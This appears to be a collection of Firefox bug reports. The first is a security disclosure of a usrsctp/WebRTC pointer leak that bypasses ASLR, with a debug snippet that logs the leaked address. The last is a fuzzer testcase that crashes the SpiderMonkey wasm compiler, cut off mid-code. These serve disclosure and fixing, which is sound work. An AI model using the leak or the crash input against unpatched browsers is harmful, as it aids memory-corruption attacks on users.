User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Steps to reproduce:
This was originally reported for Chrome here: https://bugs.chromium.org/p/chromium/issues/detail?id=1076703
But I looked at Firefox's code and found it was doing the same thing.
Quoted from the original reporter:
"When usrsctp is used with a custom transport, an address must be provided to usrsctp_conninput be used as the source and destination address of the incoming packet. WebRTC uses the address of the SctpTransport instance for this value. Unfortunately, this value is often transmitted to the peer, for example to validate signing of the cookie. This could allow an attacker access to the location in memory of the SctpTransport of a peer, bypassing ASLR.
To reproduce, place the following code on line 9529 of sctp_output.c. This will output the peer's address to the log:
struct sctp_state_cookie cookie2;
struct sctp_state_cookie* cookie3;
cookie3 = sctp_get_next_param(cookie, 4, &cookie2, sizeof(struct sctp_state_cookie));
LOGE("COOKIE INITACK ADDRESS %llx laddress %llx", *((long long*)cookie3->address), *((long long*)cookie3->address));
Or, view the SCTP packets sent by WebRTC before they are sent to the encryption layer. They are full of pointers.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse,
the bug report will become visible to the public. The scheduled disclosure
date is 2020-Jul-28. Disclosure at an earlier date is possible if
agreed upon by all parties."
Later, they found a method to set this pointer instead of just retrieving it, making this a pretty severe issue.
The reason this pointer is being put in the sctp address structure is so that the sctp socket can be associated with the relevant object in the send threshold callback.
I added a method upstream in usrsctp that removes this necessity: https://github.com/sctplab/usrsctp/commit/df49eb6e19b84905d0b20dd79edf81ec7a76f133
So using this, there should be no reason to use a pointer as an address.
I would provide a link to the code, but DXR is currently down. Just look for usrsctp_conninput though. Or ask me later.
|
|
1,642,803 | 14,859,299 |
**Note**
* The notifications are only blocked after starting screen-share, but they don't end when screen-sharing is stopped, but only when the call is ended.
**Affected versions**
* Beta v77.0b8
* Nightly v78.0a1
**Affected platforms**
* Windows 10
**Steps to reproduce**
Required prefs:
* Flip privacy.webrtc.allowSilencingNotifications to true
* Flip privacy.webrtc.legacyGlobalIndicator to false
1. Engage in a Video Call in the expected web-app.
2. Click the button to share your screen view.
3. Select the option to share a window/screen from the drop-down.
4. Select the checkbox to silence notifications and allow screen share permission.
5. Receive a notification. (a tool to use: https://davidwalsh.name/demo/notifications-api.php)
Observe: Notifications are blocked as expected.
6. Stop screen-sharing.
7. Receive a notification. (a tool to use: https://davidwalsh.name/demo/notifications-api.php)
**Expected result**
* The notification is displayed because the user is not sharing the screen.
**Actual result**
* The notification is NOT displayed;
* However notifications received after the call ends are being displayed.
**Regression range**
* Feature implementation issue.
**Additional notes**
* This issue has been found to reproduce with Zoom, Meets on Windows 10 & 7 (so far).
* This bug description will suffer changes (updates) until the feature testing is completed.
|
|
1,643,010 | 14,860,572 |
**Note**
* The overlay disappears when the user minimizes it.
**Affected versions**
* Nightly v78.0a1 from 2020-05-27
**Affected platforms**
* This issue only occurs on Windows.
* The macOS handles minimization well and the Linux minimize button does not work
**Steps to reproduce**
Required prefs:
* Flip privacy.webrtc.allowSilencingNotifications to true
* Flip privacy.webrtc.legacyGlobalIndicator to false
1. Engage in a video call.
2. Allow camera or microphone permissions (to make the overlay visible)
3. Click the minimize button.
**Expected result**
* The overlay minimizes correctly and can be brought back up from the taskbar.
**Actual result**
* The overlay disappears and cannot be brought back up in the same call.
**Regression range**
* This is a recent regression.
|
|
1,643,212 | 14,861,944 |
Originally filed as https://github.com/mozilla-mobile/fenix/issues/11189
## Steps to reproduce
1. Go to https://staktrace.github.io/moz-pages/bug/fenix-11189.html
2. Scroll down to reveal the button
3. Click on button
### Expected behavior
JS alert shows text "success"
### Actual behavior
Button never gets clicked
### Device information
* Android device: Sony Xperia XZ1C, Android 9
* Fenix version: Nightly 200602 06:01 (Build #2015743859) 44.0.20200531130125, 2ac91e358 GV: 78.0a1-20200529095426 AS: 0.59.0
|
|
1,643,514 | 14,864,195 |
STR:
1. Open a tab and navigate to https://webvr.info/samples/04-simple-mirroring.html
2. Close this tab. Open another tab, go to https://www.wikipedia.org/.
3. Check if vr process is still alive after 5 seconds in Process Explorer.
However, if navigate to a WebXR page like https://immersive-web.github.io/webxr-samples/immersive-vr-session.html, and follow the step 2 - 3. We will see VR process is shutdown properly.
VR process takes 12% CPU on my laptop, so I think we should make sure its lifetime be managed correctly.
|
|
1,643,613 | 14,864,795 |
**Filed by:** cbrindusan [at] mozilla.com
**Parsed log:** https://treeherder.mozilla.org/logviewer.html#?job_id=305173941&repo=mozilla-central
**Full log:** https://firefox-ci-tc.services.mozilla.com/api/queue/v1/task/KrngyF7iT_mAjGf84Bhxhg/runs/0/artifacts/public/logs/live_backing.log
---
[task 2020-06-05T05:39:12.326Z] 05:39:12 INFO - TEST-OK | toolkit/components/reader/test/browser_readerMode_readingTime.js | took 1581ms
[task 2020-06-05T05:39:12.331Z] 05:39:12 INFO - checking window state
[task 2020-06-05T05:39:12.354Z] 05:39:12 INFO - GECKO(2268) | Completed ShutdownLeaks collections in process 10128
[task 2020-06-05T05:39:12.356Z] 05:39:12 INFO - TEST-START | Shutdown
[task 2020-06-05T05:39:12.357Z] 05:39:12 INFO - Browser Chrome Test Summary
[task 2020-06-05T05:39:12.357Z] 05:39:12 INFO - Passed: 74
[task 2020-06-05T05:39:12.357Z] 05:39:12 INFO - Failed: 0
[task 2020-06-05T05:39:12.357Z] 05:39:12 INFO - Todo: 0
[task 2020-06-05T05:39:12.357Z] 05:39:12 INFO - Mode: e10s
[task 2020-06-05T05:39:12.358Z] 05:39:12 INFO - *** End BrowserChrome Test Results ***
[task 2020-06-05T05:39:12.377Z] 05:39:12 INFO - GECKO(2268) | Exiting due to channel error.
[task 2020-06-05T05:39:12.377Z] 05:39:12 INFO - GECKO(2268) | Exiting due to channel error.
[task 2020-06-05T05:39:12.377Z] 05:39:12 INFO - GECKO(2268) | Exiting due to channel error.
[task 2020-06-05T05:39:12.377Z] 05:39:12 INFO - GECKO(2268) | Exiting due to channel error.
[task 2020-06-05T05:39:12.449Z] 05:39:12 INFO - TEST-INFO | Main app process: exit 0
[task 2020-06-05T05:39:12.449Z] 05:39:12 INFO - runtests.py | Application ran for: 0:00:14.629000
[task 2020-06-05T05:39:12.450Z] 05:39:12 INFO - zombiecheck | Reading PID log: c:\users\task_1591334159\appdata\local\temp\tmpydwsd_pidlog[task 2020-06-05T05:39:12.476Z] 05:39:12 INFO - zombiecheck | Checking for orphan process with PID: 7288
[task 2020-06-05T05:39:12.476Z] 05:39:12 INFO - mozcrash Downloading symbols from: https://firefox-ci-tc.services.mozilla.com/api/queue/v1/task/aRGiXws6ShGPtZ2HZJnu_Q/artifacts/public/build/target.crashreporter-symbols.zip
[task 2020-06-05T05:39:16.929Z] 05:39:16 INFO - mozcrash Copy/paste: Z:/task_1591334159/fetches\minidump_stackwalk\minidump_stackwalk.exe c:\users\task_1591334159\appdata\local\temp\tmp8siwlz.mozrunner\minidumps\47732083-d25a-4f53-9702-5dfa757a620d.dmp c:\users\task_1591334159\appdata\local\temp\tmpwmdbqs
[task 2020-06-05T05:39:20.878Z] 05:39:20 INFO - mozcrash Saved minidump as Z:\task_1591334159\build\blobber_upload_dir\47732083-d25a-4f53-9702-5dfa757a620d.dmp
[task 2020-06-05T05:39:20.902Z] 05:39:20 INFO - PROCESS-CRASH | Main app process exited normally | application crashed [@ mozilla::dom::WorkerDebuggerManager::UnregisterDebuggerMainThread(mozilla::dom::WorkerPrivate*)]
[task 2020-06-05T05:39:20.902Z] 05:39:20 INFO - Crash dump filename: c:\users\task_1591334159\appdata\local\temp\tmp8siwlz.mozrunner\minidumps\47732083-d25a-4f53-9702-5dfa757a620d.dmp
[task 2020-06-05T05:39:20.902Z] 05:39:20 INFO - Operating system: Windows NT
[task 2020-06-05T05:39:20.902Z] 05:39:20 INFO - 10.0.17134
[task 2020-06-05T05:39:20.902Z] 05:39:20 INFO - CPU: amd64
[task 2020-06-05T05:39:20.902Z] 05:39:20 INFO - family 6 model 85 stepping 4
[task 2020-06-05T05:39:20.902Z] 05:39:20 INFO - 8 CPUs
[task 2020-06-05T05:39:20.902Z] 05:39:20 INFO -
[task 2020-06-05T05:39:20.902Z] 05:39:20 INFO - GPU: UNKNOWN
[task 2020-06-05T05:39:20.902Z] 05:39:20 INFO -
[task 2020-06-05T05:39:20.902Z] 05:39:20 INFO - Crash reason: EXCEPTION_ACCESS_VIOLATION_READ
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - Crash address: 0xffffffff
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - Assertion: Unknown assertion type 0x00000000
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - Process uptime: 3 seconds
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO -
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - Thread 0 (crashed)
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - 0 xul.dll!mozilla::dom::WorkerDebuggerManager::UnregisterDebuggerMainThread(mozilla::dom::WorkerPrivate*) [WorkerDebuggerManager.cpp:fecffba489bd447d60c2930f9d55ef834b1b20da : 308 + 0x12]
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - rax = 0x0000f744ec3893c0 rdx = 0x0000016870367000
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - rcx = 0x000001687949f400 rbx = 0x000001687949f400
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - rsi = 0xe5e5e5e5e5e5e5e5 rdi = 0x0000016876c53900[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - rbp = 0x0000000000000000 rsp = 0x00000063563fe890
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - r8 = 0x0000016876c78750 r9 = 0x00000063563fe9a0
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - r10 = 0x00000063563feb44 r11 = 0x00007ffeacbd0d20
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - r12 = 0x0000016870311270 r13 = 0x0000016870367000
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - r14 = 0x0000016876c37730 r15 = 0x00000000ffffffff
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - rip = 0x00007ffea911955e
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - Found by: given as instruction pointer in context
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - 1 xul.dll!mozilla::dom::`anonymous namespace'::TopLevelWorkerFinishedRunnable::Run() [WorkerPrivate.cpp:fecffba489bd447d60c2930f9d55ef834b1b20da : 277 + 0x3c]
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - rsp = 0x00000063563fe920 r12 = 0x0000016870311270
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ffea913af8d
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - Found by: call frame info
[task 2020-06-05T05:39:20.903Z] 05:39:20 INFO - 2 xul.dll!mozilla::ThrottledEventQueue::Inner::ExecuteRunnable() [ThrottledEventQueue.cpp:fecffba489bd447d60c2930f9d55ef834b1b20da : 254 + 0x9]
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - rsp = 0x00000063563fe970 r12 = 0x0000016870311270
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ffea6ed75f4
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - Found by: call frame info
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - 3 xul.dll!mozilla::ThrottledEventQueue::Inner::Executor::Run() [ThrottledEventQueue.cpp:fecffba489bd447d60c2930f9d55ef834b1b20da : 81 + 0x5]
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - rsp = 0x00000063563fe9e0 r12 = 0x0000016870311270
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ffea6ed73cd
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - Found by: call frame info[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - 4 xul.dll!nsThread::ProcessNextEvent(bool, bool*) [nsThread.cpp:fecffba489bd447d60c2930f9d55ef834b1b20da : 1236 + 0x6]
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - rsp = 0x00000063563fea10 r12 = 0x0000016870311270
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ffea6ecb973
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - Found by: call frame info
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - 5 xul.dll!NS_ProcessNextEvent(nsIThread*, bool) [nsThreadUtils.cpp:fecffba489bd447d60c2930f9d55ef834b1b20da : 501 + 0xd]
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - rsp = 0x00000063563feff0 r12 = 0x0000016870311270
[task 2020-06-05T05:39:20.904Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ffea6eceb1e
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - Found by: call frame info
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - 6 xul.dll!mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) [MessagePump.cpp:fecffba489bd447d60c2930f9d55ef834b1b20da : 87 + 0xa]
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - rsp = 0x00000063563ff040 r12 = 0x0000016870311270
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ffea73fdeaa
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - Found by: call frame info
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - 7 xul.dll!MessageLoop::RunHandler() [message_loop.cc:fecffba489bd447d60c2930f9d55ef834b1b20da : 308 + 0xf]
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - rsp = 0x00000063563ff0b0 r12 = 0x0000016870311270
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ffea73cb3c9
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - Found by: call frame info
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - 8 xul.dll!MessageLoop::Run() [message_loop.cc:fecffba489bd447d60c2930f9d55ef834b1b20da : 290 + 0x5]
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - rsp = 0x00000063563ff100 r12 = 0x0000016870311270[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ffea73cb348
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - Found by: call frame info
[task 2020-06-05T05:39:20.905Z] 05:39:20 INFO - 9 xul.dll!nsBaseAppShell::Run() [nsBaseAppShell.cpp:fecffba489bd447d60c2930f9d55ef834b1b20da : 137 + 0xd]
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - rsp = 0x00000063563ff150 r12 = 0x0000016870311270
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ffea934fc08
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - Found by: call frame info
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - 10 xul.dll!nsAppShell::Run() [nsAppShell.cpp:fecffba489bd447d60c2930f9d55ef834b1b20da : 430 + 0x8]
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - rsp = 0x00000063563ff190 r12 = 0x0000016870311270
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ffea93c2087
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - Found by: call frame info
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - 11 xul.dll!XRE_RunAppShell() [nsEmbedFunctions.cpp:fecffba489bd447d60c2930f9d55ef834b1b20da : 913 + 0x6]
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - rsp = 0x00000063563ff1e0 r12 = 0x0000016870311270
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ffeaa566235
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - Found by: call frame info
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - 12 xul.dll!MessageLoop::RunHandler() [message_loop.cc:fecffba489bd447d60c2930f9d55ef834b1b20da : 308 + 0xf]
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - rsp = 0x00000063563ff220 r12 = 0x0000016870311270
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ffea73cb3c9
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - Found by: call frame info
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - 13 xul.dll!MessageLoop::Run() [message_loop.cc:fecffba489bd447d60c2930f9d55ef834b1b20da : 290 + 0x5]
[task 2020-06-05T05:39:20.906Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - rsp = 0x00000063563ff270 r12 = 0x0000016870311270
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ffea73cb348
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - Found by: call frame info
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - 14 xul.dll!XRE_InitChildProcess(int, char**, XREChildData const*) [nsEmbedFunctions.cpp:fecffba489bd447d60c2930f9d55ef834b1b20da : 744 + 0xa]
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - rsp = 0x00000063563ff2c0 r12 = 0x0000016870311270
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ffeaa565fcf
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - Found by: call frame info
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - 15 firefox.exe!NS_internal_main(int, char**, char**) [nsBrowserApp.cpp:fecffba489bd447d60c2930f9d55ef834b1b20da : 303 + 0x91]
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - rsp = 0x00000063563ff520 r12 = 0x0000016870311270
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ff6cee7154b
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - Found by: call frame info
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - 16 firefox.exe!wmain(int, wchar_t**) [nsWindowsWMain.cpp:fecffba489bd447d60c2930f9d55ef834b1b20da : 131 + 0x15]
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - rsp = 0x00000063563ff6f0 r12 = 0x0000016870311270
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ff6cee711fe
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - Found by: call frame info
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - 17 firefox.exe!__scrt_common_main_seh() [exe_common.inl : 288 + 0x22]
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - rsp = 0x00000063563ff7b0 r12 = 0x0000016870311270
[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730[task 2020-06-05T05:39:20.907Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ff6ceec5108
[task 2020-06-05T05:39:20.908Z] 05:39:20 INFO - Found by: call frame info
[task 2020-06-05T05:39:20.908Z] 05:39:20 INFO - 18 kernel32.dll!BaseThreadInitThunk + 0x14
[task 2020-06-05T05:39:20.908Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.908Z] 05:39:20 INFO - rsp = 0x00000063563ff7f0 r12 = 0x0000016870311270
[task 2020-06-05T05:39:20.908Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730
[task 2020-06-05T05:39:20.908Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ffee3f73034
[task 2020-06-05T05:39:20.908Z] 05:39:20 INFO - Found by: call frame info
[task 2020-06-05T05:39:20.908Z] 05:39:20 INFO - 19 ntdll.dll!SdbpCheckMatchingFiles + 0x81
[task 2020-06-05T05:39:20.908Z] 05:39:20 INFO - rbx = 0x000001687949f400 rbp = 0x0000000000000000
[task 2020-06-05T05:39:20.908Z] 05:39:20 INFO - rsp = 0x00000063563ff820 r12 = 0x0000016870311270
[task 2020-06-05T05:39:20.908Z] 05:39:20 INFO - r13 = 0x0000016870367000 r14 = 0x0000016876c37730
[task 2020-06-05T05:39:20.908Z] 05:39:20 INFO - r15 = 0x00000000ffffffff rip = 0x00007ffee5fe1461
[task 2020-06-05T05:39:20.908Z] 05:39:20 INFO - Found by: call frame info
|
|
1,643,874 | 14,866,416 |
This bug is for crash report bp-1c57af62-86cf-4afd-9dfb-acbb30200605.
Top 10 frames of crashing thread:
```
0 xul.dll mozilla::dom::Promise::MaybeSomething<mozilla::ErrorResult> dom/promise/Promise.h:327
1 xul.dll PromiseDocumentFlushedResolver::Call dom/base/nsGlobalWindowInner.cpp:816
2 xul.dll nsGlobalWindowInner::CallOrCancelDocumentFlushedResolvers<1> dom/base/nsGlobalWindowInner.cpp:6691
3 xul.dll nsGlobalWindowInner::DidRefresh dom/base/nsGlobalWindowInner.cpp:6762
4 xul.dll nsRefreshDriver::Tick layout/base/nsRefreshDriver.cpp:2263
5 xul.dll mozilla::RefreshDriverTimer::TickRefreshDrivers layout/base/nsRefreshDriver.cpp:350
6 xul.dll mozilla::RefreshDriverTimer::Tick layout/base/nsRefreshDriver.cpp:367
7 xul.dll mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::TickRefreshDriver layout/base/nsRefreshDriver.cpp:745
8 xul.dll mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyVsync layout/base/nsRefreshDriver.cpp:644
9 xul.dll mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyParentProcessVsync layout/base/nsRefreshDriver.cpp:565
```
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0 ID:20200604213430
Adblock Plus - free ad blocker 3.8.4
Amazon Assistant for Firefox 10.2005.6.12051
Amazon.com 1.1
Auto Tab Discard 0.3.5.2
Avast Online Security 20.1.480 [DISABLED]
Bing 1.1
DuckDuckGo 1.0
Duplicate Tabs Closer 3.5.1 [DISABLED]
Google 1.0
Nightly Tester Tools 4.0
NoScript 11.0.30
Print Selection to PDF 0.1.0 [DISABLED]
Screengrab! 2.18 [DISABLED]
SortTabs 1.1.0 [DISABLED]
Tab Counter 0.4.1
Tabliss 2.0.3 [DISABLED]
Tabs manager 1.8
Wikipedia (en) 1.0
eBay 1.0
Firefox 78.0b2 Crash Report [@ mozilla::dom::Promise::MaybeSomething<T> ]
You are seeing public data only. See protected data access documentation for more information.
Search Mozilla Support for this signature How to read this crash report
ID: 1c57af62-86cf-4afd-9dfb-acbb30200605
Signature: mozilla::dom::Promise::MaybeSomething<T>
|
|
1,643,880 | 14,866,462 |
Steps To reproduce:
1. Start Nightly with new profile
2. Double click on tabstrip empty space
Actual results:
Nothing happens
Expected results:
Size mode should become maximized
Regression window:
https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=14879aecfafc1451b3c1b88d7f5f332cf61a5951&tochange=9e688ade8790d5d6c442a17af137e6049a8b51fd
|
|
1,644,212 | 14,870,114 |
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Steps to reproduce:
Opened Firefox latest Nightly on MacOS. Put the Firefox window in full screen. Went to a whatever website containing a video (youtube for example). Played a video. Clicked on the pip button.
Actual results:
The Picture-in-Picture video opened as a new full screen video.
Expected results:
The video should have been floating over my firefox window.
|
|
1,644,239 | 14,870,364 |
This bug is for crash report bp-21789f40-8277-44cf-bb4e-709920200608.
Top 10 frames of crashing thread:
```
0 xul.dll static mozilla::net::Http2Session::RecvPushPromise netwerk/protocol/http/Http2Session.cpp:2074
1 xul.dll mozilla::net::Http2Session::WriteSegmentsAgain netwerk/protocol/http/Http2Session.cpp:3412
2 xul.dll mozilla::net::nsHttpConnection::OnSocketReadable netwerk/protocol/http/nsHttpConnection.cpp:2153
3 xul.dll mozilla::net::nsHttpConnection::OnInputStreamReady netwerk/protocol/http/nsHttpConnection.cpp:2506
4 xul.dll mozilla::net::nsSocketInputStream::OnSocketReady netwerk/base/nsSocketTransport2.cpp:286
5 xul.dll mozilla::net::nsSocketTransport::OnSocketReady netwerk/base/nsSocketTransport2.cpp:2280
6 xul.dll mozilla::net::nsSocketTransportService::Run netwerk/base/nsSocketTransportService2.cpp:1094
7 xul.dll nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1211
8 xul.dll mozilla::ipc::MessagePumpForNonMainThreads::Run ipc/glue/MessagePump.cpp:332
9 xul.dll MessageLoop::RunHandler ipc/chromium/src/base/message_loop.cc:308
```
this browser crash signature is getting more frequent platforms once firefox 78 hit the beta cycle.
|
|
1,644,550 | 14,872,678 |
The following testcase crashes on mozilla-central revision 20200608-63dc5e9b1b02 (debug build, run with --fuzzing-safe --cpu-count=2 --ion-offthread-compile=off --wasm-compiler=baseline --baseline-eager):
function wasmFullPass(text, expected, maybeImports, ...args) {
let binary = wasmTextToBinary(text);
let module = new WebAssembly.Module(binary);
let instance = new WebAssembly.Instance(module, maybeImports);
instance.exports.run(...args)
};
function testConversion0(resultType, opcode, paramType, op, expect) {
if (paramType === 'i64') {
wasmFullPass(`(module
(func $f (param ${paramType}) (result ${resultType})
(${opcode} (local.get 0))
)
(func (export "run") (result ${resultType})
i64.const ${op}
call $f
)
)`, expect, {});
} else {
